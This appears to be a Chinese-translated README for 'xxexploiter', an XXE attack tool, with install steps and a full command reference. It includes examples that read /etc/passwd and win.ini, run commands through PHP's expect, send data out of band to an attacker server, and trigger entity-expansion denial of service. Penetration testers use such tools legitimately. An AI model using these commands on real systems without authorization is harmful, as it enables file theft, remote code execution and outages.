
它生成XML载荷,并自动启动一个服务器来提供所需的DTD或进行数据外泄。
#install node and npm if you don't have it yet
npm install -g xxexploiter
这是一个用TypeScript编写的简单Node应用。因此你可以像构建其他应用一样构建它:
(如果没有安装node和npm,请先安装它们)
npm install
npm run build
#you may need to npm install typescript -g in order for 'npm build' to succeed
运行此应用可以通过以下三种方式之一:
npm start [args]
node dist/index.js [args]
npm link #and now just call xxexploiter
或者你可以将其安装到系统中:
npm link
Usage: xxexploiter [command] [options]
Commands:
xxexploiter file [file_to_read] Use XXE to do a request
xxexploiter request [URL] Use XXE to do a request
xxexploiter expect [command] Use XXE to execute a command through PHP's expect
xxexploiter xee [expantions] Generate a huge content by resolving entities
Fuzzing Specific Options
-w, --wordlist Path to a wordlist to be used with the fuzz command. Use {{FUZZ}} placeholder in the command arg
for the magic.
-y, --success-string String to search for a success response in the requests. Not usefull for blind attacks
-n, --error-string String to search for an error response in the request. Not usefull for blind attacks
Options:
--version Show version number [boolean]
-s, --server Server address for OOB and DTD
-p, --port Server port for OOB and DTDs. Default: 7777
-t, --template path to an XML template where to inject payload
-m, --mode Extraction Mode: xml, oob, cdata. Default: xml
-e, --encode Extraction Encoding: none, phpbase64. Default: none
-o, --output Output for the XML payload file. Default is to console
-x Use a request to automatically send the xml file
-X, --request-output Output the response from -x option. If not defined goes to stdout
--verbose Enable some messages help for understanding whats happening
--doctype Specify the name of the doctype to be injected. Default is xxexploiter
-h, --help Show help [boolean]
Examples:
xxexploiter expect ls
xxexploiter -s 127.0.0.1 expect ls -e phpbase64 -m oob -o output.xml
xxexploiter -s 127.0.0.1 file /c/windows/win.ini -t xmltemplate.xml -m oob
xxexploiter xee 900000000 -o output.xml
xxexploiter file /etc/passwd -x request.txt -t template.xml
xxexploiter file /root/{FUZZ} -w wordlist.txt -n "not found" -x request.txt
Extra Info:
- When using the xml or cdata modes, add the placeholder '{{XXE}}' in the field where you want the entity content to
be injected
- When specifiying file paths for windows use forward slash.
- OOB: Out Of Bound: You can use this option to send the data processed by the xml parser, to your local webserver.
Usefull with blind attacks
- When using XML mode, it may break the XML parsing if XML reserved characters are loaded, so you may want to use
cdata
- When using the request option, you can specify the placeholder to inject the payload with {{XXE}} or {{XXE_B64}}
- When fuzzing you can add the {{FUZZ}} keyword in the main command argument.
- You can specify a string to filter successfull requests when fuzzing, either by supplying an expected error string,
or an expected success string
如果你选择使用OOB或CDATA模式,XXExploiter将生成必要的DTD并将其包含,同时启动一个服务器来托管它们。请记住,如果使用这些选项,你应该设置服务器地址。
如果你在XML主体中包含内容,请注意像'<'这样的XML限制字符可能会破坏解析,因此务必使用CDATA或PHP的base64encode。
大多数语言限制了实体扩展的次数或扩展内容的总长度,因此请确保先在本地机器上测试XEE,条件与目标相同。